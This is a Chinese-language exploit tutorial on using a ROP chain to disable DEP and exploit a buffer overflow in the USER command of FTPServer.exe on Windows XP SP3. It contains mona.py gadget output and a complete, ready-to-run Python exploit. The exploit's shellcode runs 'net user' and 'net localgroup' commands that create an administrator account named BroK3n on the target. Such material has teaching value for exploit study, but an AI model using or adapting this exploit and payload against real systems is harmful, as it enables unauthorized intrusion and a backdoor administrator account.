0x00 前言
缓冲区溢出的目的是为了控制EIP,从而执行攻击者构造的代码流程。防御缓冲区溢出攻击的一种措施是,选择将数据内存段标记为不可执行,随着攻击技术的演进,产生了ROP (Return-Oriented Programming),Wiki上中文翻译为“返回导向编程”。
0x01 寻找小部件
ROP的关键在于巧妙的构造堆栈,用一系列 目的执行指令+retn指令 组成的ROP小部件(gadgets)布置堆栈。文章使用的程序是:FTPServer.exe,这个程序在处理USER 命令时候对输入的数据不加检查直接复制到缓冲区,造成缓冲区溢出。环境windows xp sp3。首先我们用Immunity Debugger载入FTPServer.exe并运行,在命令行中键入
!mona rop –m msvcrt.dll找到生成的rop_chains.txt,它由于我们使用SetProcessDEPPolicy函数关闭DEP,所以直接找到
################################################################################ Register setup for SetProcessDEPPolicy() :BOOL WINAPI SetProcessDEPPolicy(_In_ DWORD dwFlags); -------------------------------------------- EAX = <not used> ECX = <not used> EDX = <not used> EBX = dwFlags (ptr to 0x00000000) ESP = ReturnTo (automatic) EBP = ptr to SetProcessDEPPolicy() ESI = <not used> EDI = ROP NOP (4 byte stackpivot)A --------------------------------------------为了调用SetProcessDEPPolicy,我们需要设置寄存器为上面的值,然后执行pushad retn把以上寄存器EAX---EDI依次压栈,最后就可以去执行SetProcessDEPPolicy关闭DEP然后执行我们堆栈上的shellcode了,我使用python写exploit,找到rop_chains.txt的python部分
*** [ Python ] *** def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = "" rop_gadgets += struct.pack('<L',0x00000000) # [-] Unable to find ptr to SetProcessDEPPolicy() (-> to be put in ebp) rop_gadgets += struct.pack('<L',0x77c161bb) # POP EBX # RETN [msvcrt.dll] rop_gadgets += struct.pack('<L',0x77be126c) # &0x00000000 [msvcrt.dll] rop_gadgets += struct.pack('<L',0x77c17641) # POP EDI # RETN [msvcrt.dll] rop_gadgets += struct.pack('<L',0x77c17641) # skip 4 bytes [msvcrt.dll] rop_gadgets += struct.pack('<L',0x77c267f0) # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll] return rop_gadgets rop_chain = create_rop_chain()这些小部件可以作为参考,如果不够用,则手工找也行。
0x02 Exploit It
最终我构造好的shellcode如下:
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.2.15", 21))
s.recv(1024)
padding="A"*247 #填充数据
#覆盖返回地址
eip=struct.pack('<L',0x77bfad6a) #retn
#填补由于esp指向ESP+8处造成的空缺
padding1='\x90'*8
#设置EBX
rop=""
rop+=struct.pack('<L',0x77da9388) #pop ebx #retn dwFlags (ptr to 0x00000000)
rop+='\xff\xff\xff\xff'
rop+=struct.pack('<L',0x772050c1) #inc ebx #retn
#设置EBP
rop+=struct.pack('<L',0x77bebb47) #pop ebp #retn
rop+=struct.pack('<L',0x7c86231c) #ptr to SetProcessDEPPolicy()
#设置ESI
rop+=struct.pack('<L',0x77bf3181) #pop esi #retn
rop+=struct.pack('<L',0x77bfad6a) #ptr to retn
#设置EDI
rop+=struct.pack('<L',0x77bfa88c) #pop edi #retn
rop+=struct.pack('<L',0x77bfad6a) #ptr to retn
#把设置好的寄存器依次压栈
rop+=struct.pack('<L',0x77d23ad9) #pushad #retn
#SHELLCODE
shellcode="\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\
"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\
"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\
"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\
"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\
"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\
"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\
"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\
"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\
"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"
User = padding+eip+padding1+rop+shellcode
s.send("USER" + User + "\r\n")
执行后
Boom!!成功添加一个新用户。
0x03 参考
《黑客防线》12 期文章